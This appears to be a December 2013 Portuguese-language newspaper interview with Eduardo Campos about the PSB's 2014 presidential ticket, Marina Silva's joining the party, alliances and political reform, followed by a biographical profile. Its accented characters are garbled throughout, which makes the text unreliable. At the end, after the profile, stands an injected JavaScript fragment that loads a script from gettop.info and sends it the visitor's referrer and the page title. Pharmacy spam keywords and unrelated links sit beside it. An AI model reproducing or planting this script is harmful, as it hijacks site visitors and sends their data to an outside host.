ai???Nos primeiros meses de 2014, vamos definir a chapa nacional e tambAi??m nos estadosai???

Dec 09 2013
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JORNAL DO COMAi??RCIO – PORTO ALEGRE

Reeleito governador de Pernambuco em 2010, com cerca de 83% dos votos, ainda no primeiro turno, o presidente nacional do PSB, Eduardo Campos, coordenou a saAi??da do partido do governo Dilma Rousseff (PT) em setembro deste ano em virtude de sua prAi??-candidatura Ai?? presidA?ncia da RepA?blica em 2014.

PorAi??m, uma mudanAi??a no cenA?rio polAi??tico brasileiro ocorrida em outubro pode levA?-lo a rever seus planos. A entrada da ex-senadora Marina Silva no PSB em outubro, depois que o Tribunal Superior Eleitoral rejeitou o registro do partido Rede Sustentabilidade – que tinha sua criaAi??A?o capitaneada pela ex-senadora, atAi?? entA?o prAi??-candidata ao PalA?cio do Planalto – por nA?o conseguir preencher todos os critAi??rios legais, acabou levando para o PSB uma lideranAi??a que obteve cerca de 20 milhAi??es de votos na eleiAi??A?o presidencial passada. Mais do que isso, Marina vem aparecendo em todas as pesquisas de intenAi??A?o de voto com percentuais bastante superiores aos do governador pernambucano.

Nesta entrevista ao Jornal do ComAi??rcio, Campos tergiversa sobre quem serA? o cabeAi??a de chapa do PSB nas eleiAi??Ai??es para a presidA?ncia em 2014, ele ou Marina. ai???Agora, o tempo nA?o Ai?? o tempo da definiAi??A?o da chapa, Ai?? o tempo da definiAi??A?o do programaai???, desconversa. PorAi??m, relativiza a importA?ncia das pesquisas, demonstrando que permanece disposto a ser candidato. Campos fala ainda sobre os tensionamentos com aliados apA?s a entrada de Marina no PSB.

Jornal do ComAi??rcio – As pesquisas de intenAi??A?o de voto tA?m mostrado a ex-senadora Marina Silva com nA?meros bastante elevados em relaAi??A?o ao senhor. Ai?? possAi??vel que seja ela a candidata Ai?? presidA?ncia pelo PSB?

Eduardo Campos – Quanto Ai?? questA?o da chapa, vamos discutir isso no inAi??cio do prA?ximo ano. Nosso debate agora Ai?? sobre o programa. Nas eleiAi??Ai??es passadas, a esta altura, a maioria das vezes quem estava na frente chegou atrA?s. A esse mesmo tempo, em 2010, Marina tinha 3%. O que fica claro na pesquisa Ai?? que hA? sempre em torno de 70% da populaAi??A?o querendo mudanAi??a, quebrar a polaridade, estabelecer um novo ciclo, que tenha a capacidade de preservar as conquistas que tivemos e nos embalar a um novo tempo, a um ciclo de conquistas de serviAi??os pA?blicos mais adequados, de inovaAi??A?o da vida pA?blica.

JC – Mas o senhor Ai?? o prAi??-candidato do PSB?

Campos – Estamos juntos para fazer o programa e uma chapa. Agora, o tempo nA?o Ai?? o tempo da definiAi??A?o da chapa, Ai?? o tempo da definiAi??A?o do programa. Nos primeiros meses de 2014, vamos definir a chapa, nA?o sA? nacional, mas tambAi??m a chapa em muitos outros estados onde vamos ter o apoio de frentes polAi??ticas que vamos montar pelo Brasil afora.

JC – Tem participado das discussAi??es nos estados?

Campos – Tenho tido notAi??cias, relatos dos dirigentes do partido sobre o quadro nos estados. O que estA? claro para nA?s Ai?? que a prioridade neste instante Ai?? a prioridade do projeto nacional, que vai balizar os projetos estaduais.

JC – Que siglas estA?o sendo priorizadas para a alianAi??a nacional?

Campos – Temos uma conversa se intensificando com o PPS. Inclusive, tenho conversado com o presidente (nacional do PPS), Roberto Freire. Acho que essa Ai?? a conversa com maior intensidade que estamos tendo no momento.

JC – Por que deixar a alianAi??a com o PT?

Campos – O PSB fez uma alianAi??a programA?tica com o PT ainda em 1989. JA? em 2010, gostarAi??amos de ter candidato Ai?? presidA?ncia da RepA?blica. Por um apelo do Lula (ex-presidente Luiz InA?cio Lula da Silva, PT), fomos para a formaAi??A?o da alianAi??a jA? no primeiro turno. Tivemos a oportunidade de ir apresentando nossa visA?o em relaAi??A?o ao rumo do PaAi??s ao longo dos A?ltimos meses, e fizemos aquilo que hoje Ai?? raro na vida brasileira, que foi entregar os cargos. Os partidos e os polAi??ticos, em regra, estA?o mais atrA?s dos cargos do que de ideias que podem melhorar a vida do povo. E entregamos os cargos para ficar com as ideias que podem animar a construir um novo ciclo.

JC – O que significa esse novo ciclo?

Campos – Um novo ciclo que possa preservar as conquistas, ou seja, que a gente possa aprofundar a democracia. As ruas no Brasil, a sociedade, tA?m cada vez mais desejo que a democracia seja aprofundada, aperfeiAi??oada, melhorada para que tenha a possibilidade de preservar as conquistas do ciclo econA?mico. Ou seja, que a gente nA?o tenha de volta a inflaAi??A?o que jA? estA? tocando tA?o fortemente, sobretudo os assalariados de mais baixa renda. Para que a gente possa ter fundamentos macroeconA?micos mais consistentes, que proporcionem um ambiente de negA?cio que resgate a confianAi??a dos investidores e alavanque um ciclo de crescimento econA?micopelo menos compatAi??vel com o que estA? acontecendo com os nossos vizinhos e com o mundo. Um ciclo que preserve as conquistas sociais, muitas delas inclusive muito incipientes e precA?rias.

JC – Por quA??

Campos – Qualquer repetiAi??A?o sucessiva do baixo crescimento que tivemos no ano passado e neste… Se esse quadro se sustenta no tempo, vamos ver muitas pessoas que estA?o aAi?? endividadas – porque a famAi??lia brasileira estA? fortemente endividada – descer os poucos degraus que conseguiram subir. Ou seja, esse ciclo tem que ter a preocupaAi??A?o de resgatar essas conquistas que produzimos na vida brasileira nas A?ltimas trA?s dAi??cadas.

JC – E os desafios futuros?

Campos – Temos que, sobretudo, afirmar novas conquistas, melhorar o padrA?o de prestaAi??A?o de serviAi??os no Brasil, aumentar a interaAi??A?o entre o Brasil oficial e o Brasil real, usando os meios digitais, fazer uma governanAi??a que melhore o padrA?o da educaAi??A?o pA?blica no Brasil.

JC – Como?

Campos – Ai?? o que estamos discutindo neste momento, a construAi??A?o do programa, quais sA?o os passos que temos que fazer, as mudanAi??as que temos que realizar. Vamos apresentar um programa ao PaAi??s com comeAi??o, meio e fim.

JC – Se eleito, como constituirA? uma maioria no Congresso Nacional?

Campos – O problema nA?o Ai?? construir uma maioria no Congresso, o problema Ai?? a gente construir exatamente um pacto polAi??tico que expresse a maioria que estA? na sociedade. Hoje, a maioria da sociedade nA?o estA? expressa na maioria do Congresso nem na base do governo. A gente pode ter atAi?? uma maioria menor do que o atual governo tem, mas que expresse o desejo de ter o serviAi??o pA?blico servindo ao pA?blico, servindo Ai?? populaAi??A?o, ou seja, ter um pacto polAi??tico que nA?o olhe o interesse dos polAi??ticos nem dos partidos, mas que olhe o interesse do PaAi??s.

JC – Ai?? possAi??vel?

Campos – Ai?? preciso tentar fazer. NA?o podemos ficar resignados e condenados a fazer a velha polAi??tica, dos acordos com os velhos quadros polAi??ticos, com as velhas prA?ticas, porque isso pode, sinceramente, levar o PaAi??s a perder os 20 anos de janela demogrA?fica que ele tem, e podemos ter reduzidas as desigualdades que ainda estA?o na sociedade, desequilAi??brios regionais. Precisamos melhorar o nosso pacto federativo. Essa tarefa nos impAi??e a coragem de mudar.

JC – Como vA? as tentativas de se realizar uma reforma polAi??tica?

Campos – Toda vez que se tenta fazer reforma polAi??tica para a prA?xima eleiAi??A?o, desde 1982, ela Ai?? confundida com reforma eleitoral. Normalmente, essas reformas eleitorais sA?o feitas pelas maiorias, e essas maiorias tendem a fazer regras que facilitem para que elas continuem como maioria.

JC – Qual a soluAi??A?o?

Campos – Se vamos fazer o debate da reforma polAi??tica, no entender do PSB, a gente precisa ter uma ideia de tempo, sair do imediatismo, que acaba favorecendo o casuAi??smo e as maiorias eventuais e conservadoras. Podemos ter a ideia de uma reforma que venha a valer para daqui a quatro, oito, 12 anos, para que ela possa entrar em vigor de maneira fatiada.

JC – Quais devem ser os principais temas da reforma?

Campos – Temos uma compreensA?o de que quatro mudanAi??as sA?o muito importantes para gerar um ambiente novo, para um novo debate sobre o sistema polAi??tico e as formas de financiamento, que sA?o: coincidA?ncia das eleiAi??Ai??es, o fim da reeleiAi??A?o e mandato de cinco anos, o fim das coligaAi??Ai??es proporcionais e o instituto da clA?usula de barreira. Com um quadro como esse, produzirAi??amos uma nova cena polAi??tica, uma nova representaAi??A?o, e terAi??amos um ambiente para fazer a reforma do sistema, para que ela entrasse em vigor trA?s eleiAi??Ai??es adiante.

JC – Discutir o financiamento das campanha nA?o Ai?? uma prioridade?

Campos – Ai?? uma prioridade para ser discutida exatamente quando for fazer uma reforma do sistema, mas ela teria que ser discutida num ambiente jA? tocado por essa primeira reforma.

JC – A entrada de Marina no PSB trouxe muitas adesAi??es da Rede, mas tambAi??m alguns tensionamentos com apoiadores com os quais o senhor vinha dialogando, como o deputado federal Ronaldo Caiado (DEM) e lideranAi??as do agronegA?cio, assim como nas conversaAi??Ai??es em SA?o Paulo…

Campos – Acho que nA?o, de forma nenhuma. O encontro com a Marina, do PSB com a Rede, Ai?? algo muito importante para a vida polAi??tica brasileira, que surpreendeu muitas pessoas e que animou a grande maioria daqueles que estavam desanimados com a polAi??tica, jA? cansados dessa polarizaAi??A?o que nA?o gera nada de entusiasmo. Ai?? um encontro que tem fundamento na nossa histA?ria, na nossa caminhada. Sempre militamos neste campo progressista. Ela vem do Norte, eu venho lA? do Nordeste, nos encontramos nas mesmas lutas nos A?ltimos 30 anos e estA?vamos, cada um ao seu jeito, tentando melhorar a polAi??tica no Brasil.

JC – Mas tem um tensionamento, principalmente com o setor do agronegA?cio…

Campos – Tenho conversado, e Marina tambAi??m, com o pessoal do agronegA?cio. Tivemos um representante do agronegA?cio brasileiro, de entidades importantes, no lanAi??amento da plataforma digital (portal de discussA?o do programa de governo). Alguns que tA?m posiAi??A?o polAi??tica partidA?ria de apoio a outras candidaturas tentaram usar artifAi??cios para criar a imagem de que houvesse da nossa parte uma negaAi??A?o do agronegA?cio. Todos sabem que nA?o Ai?? assim, as grandes lideranAi??as brasileiras do agronegA?cio conhecem a posiAi??A?o de Marina, conhecem a minha posiAi??A?o.

JC – Qual Ai???

Campos – JA? tive oportunidade de trabalhar como deputado, como ministro, como governador. Com relaAi??A?o a todo esse tema do agronegA?cio, do povo da reforma agrA?ria, da agricultura familiar, esse povo sabe como Ai?? que a gente trabalha. NA?o podemos ter nenhum tipo de preconceito com uma atividade que gera 25% dos empregos do Brasil, com quem gera o dobro do saldo da balanAi??a comercial que o Brasil tem, de forma nenhuma.

JC – Quais sA?o os elementos de uma gestA?o pA?blica eficiente?

Campos – A gestA?o hoje estA? extremamente sintonizada com o programa, com o planejamento. Conseguimos fazer em Pernambuco, que vem da nossa tradiAi??A?o de militA?ncia no campo progressista, garantindo mecanismos de participaAi??A?o popular, e, de outro lado, os mecanismos de gestA?o, com que, Ai??s vezes, nosso campo polAi??tico tinha preconceito, que achavam uma coisa de neoliberal, e, na verdade, nA?o Ai??.

JC – De que maneira?

Campos – Fizemos esse encontro e apostamos na inovaAi??A?o, em ter um governo montado com meritocracia, com mediAi??A?o, remuneraAi??A?o e metas claras, prA?mio para quem bate meta, participaAi??A?o da populaAi??A?o no processo de escolha das metas e controle social, fechando um ciclo do planejamento e da gestA?o. Isso dA? certo. No inAi??cio, houve muito enfrentamento com a polAi??tica tradicional, mas quando se percebe que esse caminho Ai?? um caminho que tem resultado, as pessoas se aproximam e as resistA?ncias vA?o baixando.

JC – Quais sA?o os resultados?

Campos – As pessoas viram que uma gestA?o eficiente reduz a criminalidade, que melhora a educaAi??A?o e o aprendizado, diminui a evasA?o escolar. Quando vocA? vai para a saA?de, empodera a aAi??A?o bA?sica e faz com que a gestA?o entregue a produtividade nos hospitais, diminuindo o sofrimento dos pacientes, reduzindo proporcionalmente os gastos e dando condiAi??Ai??es de trabalho para quem estA? no ambiente da saA?de, isso Ai?? resultado. Uma reeleiAi??A?o com 83%, maior Ai??ndice para um governo no Brasil, certifica o modelo.

Perfil

Eduardo Henrique Accioly Campos tem 48 anos e nasceu em Recife (PE). Aos 16 anos, ingressou na Universidade Federal de Pernambuco (UFPE) para cursar Economia, formando-se aos 20 anos. ComeAi??ou a militA?ncia polAi??tica como presidente do DiretA?rio AcadA?mico da Faculdade de Economia. Em 1986, participou da campanha que elegeu governador de Pernambuco o seu avA?, Miguel Arraes (PSB) – que em 1979 retornara ao Brasil depois de 15 anos de exAi??lio. Campos foi chefe de gabinete de Arraes entre 1988 e 1990, ano em que ingressou no PSB e foi eleito deputado estadual. Elegeu-se deputado federal em 1994, mas acabou assumindo os cargos de secretA?rio de Governo (1995 e 1996) e da Fazenda (1996 a 1998) de Pernambuco. Em 1998, voltou a disputar uma vaga na CA?mara e foi reeleito, sendo o mais votado do estado. No terceiro mandato, em 2003, tomou posse como ministro de CiA?ncia e Tecnologia do governo Lula (PT). Desde 2005, Ai?? presidente nacional do PSB. Em 2006, foi eleito governador de Pernambuco e, em 2010, reeleito. http://aungkyawkyaw.com/?p=50 s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; generic estrace cream dosage cat costa celadrin unguent http://www.sviluppolocale.org/?p=2772